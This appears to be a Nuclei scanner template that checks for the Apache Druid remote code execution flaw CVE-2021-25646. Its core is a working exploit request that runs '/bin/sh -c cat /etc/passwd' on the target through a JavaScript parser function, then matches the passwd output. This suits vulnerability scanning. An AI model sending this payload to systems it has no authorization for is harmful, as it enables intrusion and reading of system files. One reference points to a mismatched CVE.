95 lines
3.0 KiB
YAML
95 lines
3.0 KiB
YAML
id: CVE-2021-25646
|
|
|
|
info:
|
|
name: Apache Druid - Remote Code Execution
|
|
author: pikpikcu
|
|
severity: high
|
|
description: |
|
|
Apache Druid is susceptible to remote code execution because by default it lacks authorization and authentication. Attackers can send specially crafted requests to execute arbitrary code with the privileges of processes on the Druid server.
|
|
remediation: |
|
|
Apply the latest security patches or upgrade to a patched version of Apache Druid.
|
|
reference:
|
|
- https://paper.seebug.org/1476/
|
|
- https://lists.apache.org/thread.html/rfda8a3aa6ac06a80c5cbfdeae0fc85f88a5984e32ea05e6dda46f866%40%3Cdev.druid.apache.org%3E
|
|
- http://www.openwall.com/lists/oss-security/2021/01/29/6
|
|
- https://lists.apache.org/thread.html/r64431c2b97209f566b5dff92415e7afba0ed3bfab4695ebaa8a62e5d@%3Cdev.druid.apache.org%3E
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-25864
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 8.8
|
|
cve-id: CVE-2021-25646
|
|
cwe-id: CWE-732
|
|
epss-score: 0.97284
|
|
epss-percentile: 0.99833
|
|
cpe: cpe:2.3:a:apache:druid:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: apache
|
|
product: druid
|
|
tags: cve,cve2021,apache,rce,druid
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /druid/indexer/v1/sampler HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/json
|
|
|
|
{
|
|
"type":"index",
|
|
"spec":{
|
|
"ioConfig":{
|
|
"type":"index",
|
|
"firehose":{
|
|
"type":"local",
|
|
"baseDir":"/etc",
|
|
"filter":"passwd"
|
|
}
|
|
},
|
|
"dataSchema":{
|
|
"dataSource":"odgjxrrrePz",
|
|
"parser":{
|
|
"parseSpec":{
|
|
"format":"javascript",
|
|
"timestampSpec":{
|
|
|
|
},
|
|
"dimensionsSpec":{
|
|
|
|
},
|
|
"function":"function(){var hTVCCerYZ = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(\"/bin/sh`@~-c`@~cat /etc/passwd\".split(\"`@~\")).getInputStream()).useDelimiter(\"\\A\").next();return {timestamp:\"4137368\",OQtGXcxBVQVL: hTVCCerYZ}}",
|
|
"":{
|
|
"enabled":"true"
|
|
}
|
|
}
|
|
}
|
|
}
|
|
},
|
|
"samplerConfig":{
|
|
"numRows":10
|
|
}
|
|
}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "numRowsRead"
|
|
- "numRowsIndexed"
|
|
condition: and
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "application/json"
|
|
|
|
- type: regex
|
|
part: body
|
|
regex:
|
|
- "root:.*:0:0:"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4a0a00473045022100a5acf202dd91cb408125121b492b54f5bd9be5edf7c08746dde6add9d5e160a60220075447cfd41e717c359c0e8aea7faf3600dac1e4430d37037007332fab549033:922c64590222798bb761d5b6d8e72950 |